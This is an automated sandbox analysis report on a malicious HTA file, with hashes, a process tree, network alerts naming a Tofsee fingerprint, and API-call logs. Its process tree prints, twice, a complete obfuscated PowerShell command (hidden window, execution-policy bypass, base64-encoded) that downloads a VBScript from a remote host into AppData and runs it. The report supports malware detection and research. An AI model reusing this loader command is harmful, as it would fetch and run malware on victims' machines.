Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 19, 2023, 6:30 p.m.	Sept. 19, 2023, 6:33 p.m.

Size	8.7KB
Type	data
MD5	`f9214c3d4e39b7d7dad6703fd62a5dea`
SHA256	`51a9a1e37302cfe66c68b3f0491665cd7f2dc9b1c4c544999cc4ff00a1aaa6f1`
CRC32	`A8547A20`
ssdeep	`192:ZznBWvu9hjY5gOCeRQupg0AaEtn3vl20+x1:BnBWTTqx20C`
Yara	None matched

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\HTML.hta.html
2412
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2412 CREDAT:145409
  2528
  - cmd.exe "C:\Windows\system32\cmd.exe" "/C powERsheLL.ExE -EX BypaSS -NOp -W HiDdEN -eC IAAJAAkACQAJAFsATgBlAHQALgBzAEUAUgBWAGkAYwBlAHAAbwBpAE4AVABNAGEAbgBhAEcARQBSAF0AOgA6AHMARQBjAFUAUgBJAHQAWQBwAHIATwB0AE8AYwBPAEwAIAAgACAAIAAgACAAIAA9ACAACQAgAAkACQAgAAkACQAgAAkAIAAgAFsAbgBlAFQALgBTAEUAQwBVAFIAaQBUAFkAcAByAE8AdABPAEMATwBsAHQAWQBwAGUAXQA6ADoAVABsAHMAMQAyACAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAVAAgACAAIAAoAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAwADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADIAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQAOQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADYAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAyACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADUAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAMwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADAANQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADAAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMAAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAMQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcAMgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAOAA0ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA3ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAOQA4ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANQAgAAkAIAAgACAACQAJAAkAIAAJACkAIAAJAAkAIAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAJAC0AbwB1AHQARgBpAGwAZQAgACAACQAJACAAIAAJACAACQAJAB0gJABFAG4AVgA6AEEAcABwAEQAYQB0AEEAXABIAFQATQBMAC4AdgBiAHMAHSAgACAACQAJACAACQAgACAACQAgACAACQAJACAACQA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABBAFIAVAAgACAAIAAgACAAIAAgACAAHSAkAEUAbgB2ADoAQQBQAFAARABhAFQAYQBcAEgAVABNAEwALgB2AGIAcwAdIA== "
    2808
    - powershell.exe powERsheLL.ExE -EX BypaSS -NOp -W HiDdEN -eC IAAJAAkACQAJAFsATgBlAHQALgBzAEUAUgBWAGkAYwBlAHAAbwBpAE4AVABNAGEAbgBhAEcARQBSAF0AOgA6AHMARQBjAFUAUgBJAHQAWQBwAHIATwB0AE8AYwBPAEwAIAAgACAAIAAgACAAIAA9ACAACQAgAAkACQAgAAkACQAgAAkAIAAgAFsAbgBlAFQALgBTAEUAQwBVAFIAaQBUAFkAcAByAE8AdABPAEMATwBsAHQAWQBwAGUAXQA6ADoAVABsAHMAMQAyACAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAGUAVAAgACAAIAAoAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAwADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADIAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQAOQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQA3ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADYAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAyACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQByAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADQAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA1ADUAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADUAMwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMQA5ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADAANQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADAAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABhAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADEAMAAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAMQAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAMQAxADkAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAEMASABBAFIAXQAgAAkAIAAgACAACQAJAAkAIAAJADQANwAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBoAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANQAwACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA0ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMAaABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcAMgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAEEAcgBdACAACQAgACAAIAAJAAkACQAgAAkAOAA0ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAGgAQQBSAF0AIAAJACAAIAAgAAkACQAJACAACQA3ADcAIAAJACAAIAAgAAkACQAJACAACQAgAAkAIAAgACAACQAJAAkAIAAJACsAIAAJACAAIAAgAAkACQAJACAACQBbAGMASABBAHIAXQAgAAkAIAAgACAACQAJAAkAIAAJADcANgAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAYwBIAGEAcgBdACAACQAgACAAIAAJAAkACQAgAAkANAA2ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBDAGgAYQBSAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEAOAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAgACAAIAAJAAkACQAgAAkAKwAgAAkAIAAgACAACQAJAAkAIAAJAFsAQwBIAGEAUgBdACAACQAgACAAIAAJAAkACQAgAAkAOQA4ACAACQAgACAAIAAJAAkACQAgAAkAIAAJACAAIAAgAAkACQAJACAACQArACAACQAgACAAIAAJAAkACQAgAAkAWwBjAEgAYQByAF0AIAAJACAAIAAgAAkACQAJACAACQAxADEANQAgAAkAIAAgACAACQAJAAkAIAAJACkAIAAJAAkAIAAgAAkAIAAgACAACQAJAAkAIAAJACAACQAJAC0AbwB1AHQARgBpAGwAZQAgACAACQAJACAAIAAJACAACQAJAB0gJABFAG4AVgA6AEEAcABwAEQAYQB0AEEAXABIAFQATQBMAC4AdgBiAHMAHSAgACAACQAJACAACQAgACAACQAgACAACQAJACAACQA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABBAFIAVAAgACAAIAAgACAAIAAgACAAHSAkAEUAbgB2ADoAQQBQAFAARABhAFQAYQBcAEgAVABNAEwALgB2AGIAcwAdIA== "
      2868

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
117.18.232.200	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49172 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49173 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 117.18.232.200:443 -> 192.168.56.103:49174	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 19, 2023, 6:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 19, 2023, 6:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 19, 2023, 6:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 19, 2023, 6:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 19, 2023, 6:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 19, 2023, 6:31 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 19, 2023, 6:31 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (48 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003bd2f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b081ee0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b081ee0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b081ee0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082180 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082180 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b081f50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b081f50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b081f50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b081f50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0821f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0821f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0821f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082880 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082880 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082880 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0828f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0828f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0828f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0828f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0828f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0828f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0828f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0828f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082880 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082880 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082880 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082a40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082a40 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0823b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0823b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082ab0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082ab0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082ab0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000039f2f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000039f2f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
